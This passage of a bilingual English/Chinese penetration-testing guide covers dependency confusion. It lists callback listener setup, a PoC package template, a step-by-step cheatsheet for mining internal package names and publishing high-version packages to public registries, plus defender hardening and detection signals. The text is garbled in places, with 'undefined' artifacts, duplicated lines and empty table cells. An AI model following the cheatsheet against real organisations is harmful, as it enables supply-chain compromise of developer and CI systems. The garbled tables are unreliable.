undefinedinteractsh (preferred -- free, reliable OOB detection)
interactsh (preferred -- free, reliable OOB detection)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v
Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab
Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab
Self-hosted -- run a logging DNS server on your own NS-delegated domain
Self-hosted -- run a logging DNS server on your own NS-delegated domain
undefinedundefinedCallback Data Constraints
Callback 数据限制
Collect only what proves execution and identifies the affected system:
hostname, username, CI boolean, OS/platform, package manager version,
timestamp. Never collect file contents, environment variable values beyond
the CI flag, credentials, tokens, directory/process listings, or any form
of persistent access.
仅收集能够证明执行情况并识别受影响系统的信息:
hostname、username、CI boolean、OS/platform、package manager version、
timestamp。绝不收集文件内容、除 CI flag 之外的环境变量值、
凭据、token、目录或进程列表,也绝不建立任何形式的持久访问。
Package Description Template
Package Description 模板
Include in every PoC package published to a public registry:
Security Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: security@researcher.example
Report reference: [ENGAGEMENT-ID]每个发布到公共 registry 的 PoC package 都应包含:
Security Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: security@researcher.example
Report reference: [ENGAGEMENT-ID]Detection / Defender View
检测与防御方视角
Understanding the attacker's perspective helps you provide actionable
remediation guidance in your engagement reports.
Registry configuration hardening by ecosystem:
| Ecosystem | Vulnerable Pattern | Secure Pattern |
|---|---|---|
| npm | No scope-to-registry mapping | |
| pip | | |
| NuGet | Multiple feeds without | |
| Maven | Central listed before private repo | Private repo first, or mirror settings |
| Gradle | | Private repo only in |
| Go | Default GOPROXY | |
| Ruby | Default gem sources | |
| Docker | Unqualified image names | FQDN registry prefix + digest pinning |
Detection signals: unexpected outbound DNS/HTTP during install/build
phases; lock file changes pointing to public registries for known-internal
packages; version jumps to 999.x or 9999.x; new packages in build logs
not present in prior builds.
bash
undefined理解攻击者视角,有助于在 engagement 报告中提供
可执行的修复指导。
按生态系统进行 registry 配置加固:
| 生态系统 | 易受攻击的模式 | 安全模式 |
|---|---|---|
| npm | 未配置 scope 到 registry 的映射 | |
| pip | | |
| NuGet | 多个 feed 且没有 | |
| Maven | Central 排在私有 repo 之前 | 私有 repo 优先,或使用 mirror 设置 |
| Gradle | | |
| Go | 默认 GOPROXY | 为 corp 配置 |
| Ruby | 默认 gem sources | 使用私有 gem server 的 |
| Docker | 非限定 image 名称 | FQDN registry 前缀 + digest 固定 |
检测信号:安装或构建阶段出现异常出站 DNS/HTTP;已知内部 package 的 lock file 变更并指向公共 registry;版本号突然跃升至 999.x 或 9999.x;构建日志中出现此前不存在的 package。
bash
undefinedMonitor install-time network activity; audit install scripts
Monitor install-time network activity; audit install scripts
strace -f -e trace=network npm install 2>&1 | grep -i connect
npx can-i-ignore-scripts
pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py
---strace -f -e trace=network npm install 2>&1 | grep -i connect
npx can-i-ignore-scripts
pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py
---Engagement Cheatsheet
Engagement 速查表
| Step | Action | Tool / Command |
|---|---|---|
| 1 | Parse lock files for internal names | jq, grep, awk |
| 2 | Mine GitHub for package manifests and .npmrc | gh api search/code |
| 3 | Extract names from JS source maps | curl, jq |
| 4 | Check public registry availability | curl against registry APIs |
| 5 | Scan with confused | |
| 6 | Start DNS canary listener | interactsh-client |
| 7 | Build PoC package (high version, safe callback) | Custom setup.py / package.json |
| 8 | Publish to public registry | |
| 9 | Monitor for callbacks | interactsh / Burp Collaborator |
| 10 | Document findings with callback evidence | Screenshots, DNS logs |
| 11 | Remove PoC packages from public registries | |
| 12 | Deliver remediation: registry pinning per ecosystem | Report template above |
Timing: CI/CD callbacks arrive within minutes of a commit; developer
workstations may take days or weeks. Keep canary listeners running for the
full engagement window.
Coordination: Confirm scope includes public registry publishing.
Pre-coordinate with the target security team. Document package names,
versions, and publication timestamps. Remove PoC packages promptly after
the engagement window closes.
| 步骤 | 操作 | 工具或命令 |
|---|---|---|
| 1 | 解析 lock file 以获取内部名称 | jq、grep、awk |
| 2 | 在 GitHub 中挖掘 package manifest 和 .npmrc | gh api search/code |
| 3 | 从 JS source map 中提取名称 | curl、jq |
| 4 | 检查公共 registry 中的可用性 | curl 请求 registry API |
| 5 | 使用 confused 进行扫描 | |
| 6 | 启动 DNS canary listener | interactsh-client |
| 7 | 构建 PoC package(高版本、安全 callback) | 自定义 setup.py / package.json |
| 8 | 发布到公共 registry | |
| 9 | 监控 callback | interactsh / Burp Collaborator |
| 10 | 使用 callback 证据记录发现 | 截图、DNS 日志 |
| 11 | 从公共 registry 移除 PoC package | |
| 12 | 交付修复方案:按生态系统固定 registry | 上方报告模板 |
时间安排:CI/CD callback 通常会在 commit 后几分钟内到达;
开发者工作站则可能需要数天或数周。应在整个 engagement window 内
持续运行 canary listener。
协调事项:确认 engagement scope 是否包括向公共 registry 发布 package。
应提前与目标安全团队协调。记录 package 名称、
版本和发布时间戳,并在 engagement window 结束后立即移除 PoC package。
Key References
关键参考
- Alex Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (2021): https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- confused -- dependency confusion scanner: https://github.com/visma-prodsec/confused
- npm documentation on scopes and registry configuration: https://docs.npmjs.com/cli/v9/using-npm/scope
- pip documentation on --index-url vs --extra-index-url: https://pip.pypa.io/en/stable/cli/pip_install/
- NuGet Package Source Mapping: https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping
- SLSA Framework (Supply-chain Levels for Software Artifacts): https://slsa.dev/
- interactsh -- OOB interaction gathering: https://github.com/projectdiscovery/interactsh
- "Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks" (2020)
- MITRE ATT&CK T1195.001 -- Supply Chain Compromise: Compromise Software Dependencies and Development Tools
- GitHub Advisory Database: https://github.com/advisories
- Alex Birsan,《Dependency Confusion:我是如何黑进 Apple、Microsoft 以及其他数十家公司的》(2021):https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- confused——dependency confusion 扫描器:https://github.com/visma-prodsec/confused
- npm 关于 scope 与 registry 配置的文档:https://docs.npmjs.com/cli/v9/using-npm/scope
- pip 关于 --index-url 与 --extra-index-url 的文档:https://pip.pypa.io/en/stable/cli/pip_install/
- NuGet Package Source Mapping:https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping
- SLSA Framework(Supply-chain Levels for Software Artifacts):https://slsa.dev/
- interactsh——OOB interaction gathering:https://github.com/projectdiscovery/interactsh
- 《Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks》(2020)
- MITRE ATT&CK T1195.001——Supply Chain Compromise: Compromise Software Dependencies and Development Tools
- GitHub Advisory Database:https://github.com/advisories